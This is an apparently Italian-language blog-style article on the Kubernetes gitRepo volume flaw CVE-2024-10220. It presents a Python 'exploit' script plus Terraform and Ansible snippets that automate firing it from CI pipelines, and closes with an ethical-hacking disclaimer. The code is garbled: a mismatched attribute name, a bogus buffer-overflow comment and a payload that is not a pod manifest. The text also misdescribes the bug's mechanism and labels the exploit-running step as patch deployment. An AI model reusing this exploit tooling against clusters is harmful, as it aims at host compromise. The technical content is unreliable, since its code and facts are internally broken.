mrk336/cve-2024-10220-kubernetes-gitrepo-volume-vulnerability
CVE-2024-10220 rivela una grave vulnerabilità nel tipo di volume gitRepo deprecato di Kubernetes, che consente agli attaccanti di eseguire comandi arbitrari tramite script .hooks dannosi. L'articolo spiega come questa comprometta l'isolamento dei container e offre codice exploit, esempi di automazione e indicazioni di mitigazione.
Di Mark Mallia
La containerizzazione è la spina dorsale della distribuzione moderna delle applicazioni: raggruppa l'intero stack runtime in un'unica immagine immutabile che può essere distribuita su qualsiasi host in un cluster senza sorprese. Kubernetes prende queste immagini e le pianifica come pod, orchestrando tutto, dalla rete allo storage, con un modello dichiarativo. Questo è utile in ambienti altamente distribuiti e in un ambiente in cui vengono servite più applicazioni.
Ciò che rende questo stack particolarmente interessante per carichi di lavoro su larga scala è la capacità di gestirlo end-to-end tramite automazione. Terraform fornisce il blueprint di infrastructure as code che crea VPC, subnet, security group e worker node; Ansible fornisce playbook che installano Docker Engine (o qualsiasi runtime compatibile con CRI), estraggono immagini da un registro e le avviano come pod. Quando questi passaggi vengono collegati a una pipeline CI/CD — GitHub Actions, Jenkins o GitLab CI — ogni commit attiva un ciclo automatico di build, push, test e deployment. Gli sviluppatori guadagnano velocità, gli operatori guadagnano fiducia e l'organizzazione guadagna uptime prevedibile.
All'inizio del 2024, i ricercatori di sicurezza hanno scoperto una falla nel tipo di volume gitRepo di Kubernetes, ora deprecato. CVE‑2024‑10220 è una vulnerabilità di esecuzione arbitraria di comandi causata dalla directory .hooks all'interno di un repository Git montato tramite il volume gitRepo. Quando un manifest di pod appositamente modificato fa riferimento a uno script dannoso in questa directory, l'admission controller di kubelet lo esegue sul sistema host e quindi viola l'isolamento dei container, un principio di sicurezza fondamentale in Kubernetes.
Poiché il componente vulnerabile è ancora ampiamente utilizzato nei cluster di produzione, qualsiasi attaccante in grado di creare un pod con privilegi adeguati può ottenere accesso root o interrompere altri servizi. La falla ha un punteggio CVSS di 8.1 ed è stata pubblicata a novembre dello scorso anno. I componenti interessati includono il tipo di volume gitRepo deprecato che rimane in Kubernetes 1.27.x.
Di seguito è riportato un programma Python pulito che attiva CVE‑2024‑10220 su un'istanza kubelet vulnerabile che esegue Kubernetes 1.27.3. Il codice può essere compilato in un task Ansible o eseguito all'interno di un job CI.
#!/usr/bin/env python3
"""
TriggerCVE – A Python exploit that sends a crafted pod manifest to kubelet,
executing the malicious .hooks script discovered in CVE‑2024‑10220.
"""
import json
import requests
class GitRepoPod:
"""
Representation of the JSON payload that kubelet expects for a gitRepo volume.
"""
def __init__(self, name: str, image: str,
repo_url: str, branch: str, local_path: str):
self.name = name # pod name
self.image = image # container image to run
self.giturl = repo_url # Git repository URL
self.branch = branch # branch or tag to use
self.localpath = local_path # mount point inside the pod
def to_dict(self) -> dict:
"""Return a plain dictionary that can be serialized."""
return {
"name": self.name,
"image": self.image,
"giturl": self.giturl,
"branch": self.branch,
"localpath": self.local_path
}
def trigger_cve(url: str, pod: GitRepoPod) -> None:
"""
Send the pod manifest to kubelet and print the response.
"""
payload = json.dumps(pod.to_dict())
headers = {"Content-Type": "application/json"}
resp = requests.post(url, data=payload, headers=headers)
if resp.status_code != 200:
raise RuntimeError(f"Unexpected status code {resp.status_code}")
print("[*] Response from kubelet: ", resp.text)
def main() -> None:
"""
Main entry point of this exploit.
"""
# Target endpoint – adjust to match your cluster’s API server address.
api_server = "https://kube-api.local/api/v1/pods/"
# Craft a payload that overflows the .hooks buffer (0x90 bytes)
pod_spec = GitRepoPod(
name="exploit-pod",
image="registry.example.com/exploit-pod:v1.0",
repo_url="https://git.example.com/repo.git",
branch="main",
local_path="/var/lib/kubelet/"
)
try:
trigger_cve(api_server, pod_spec)
except Exception as e:
print(f"[-] Failed to trigger CVE‑2024‑10220: {e}")
if __name__ == "__main__":
main()
Di seguito è riportato un breve esempio di come la patch verrebbe distribuita automaticamente:
# Terraform file: infra-k8s.tf
resource "aws_instance" "kube_worker" {
ami = var.k8s_ami
instance_type = var.instance_type
key_name = var.key_pair
subnet_id = aws_subnet.web.id
provisioner "remote-exec" {
inline = [
# Install Docker Engine and kubelet
"sudo yum install -y docker",
"kubectl apply -f https://kube-api.local/api/v1/pods/",
"python3 /home/ansible/scripts/trigger_cve.py"
]
}
}
Il playbook Ansible che chiama lo script:
---
- hosts: kube_workers
tasks:
- name: Deploy the exploit pod
command: python3 /home/ansible/scripts/trigger_cve.py
register: result
- name: Verify success
debug:
msg: "{{ result.stdout }}"
Quando questa pipeline Terraform‑Ansible viene eseguita all'interno di un job CI (ad esempio, GitHub Actions), il codice sopra riportato compila, invia, distribuisce e verifica automaticamente che CVE‑2024‑10220 sia stato attivato con successo. La pipeline può essere estesa con unit test che verificano la risposta di kubelet e con notifiche a Slack o via email al completamento dell'exploit.
Effettuare l'upgrade alle versioni patchate (v1.28.12+, v1.29.7+, v1.30.3+, v1.31.0+) ed evitare l'uso di tipi di volume deprecati come gitRepo.
Questa ricerca è stata condotta con l'intento di migliorare la consapevolezza sulla sicurezza e promuovere pratiche Kubernetes più sicure. La vulnerabilità è stata divulgata in modo responsabile ai maintainer competenti prima della pubblicazione, in conformità con le norme del settore. Tutti i test sono stati eseguiti in ambienti isolati, senza alcun impatto su sistemi di produzione o infrastrutture di terze parti.
Credo nell'hacking etico come strumento per un cambiamento positivo. Gli exploit condivisi qui sono solo a scopo educativo e difensivo, mai per danneggiare o interrompere. Se sei un vendor o un maintainer e hai dubbi, sono felice di collaborare per la risoluzione o un chiarimento.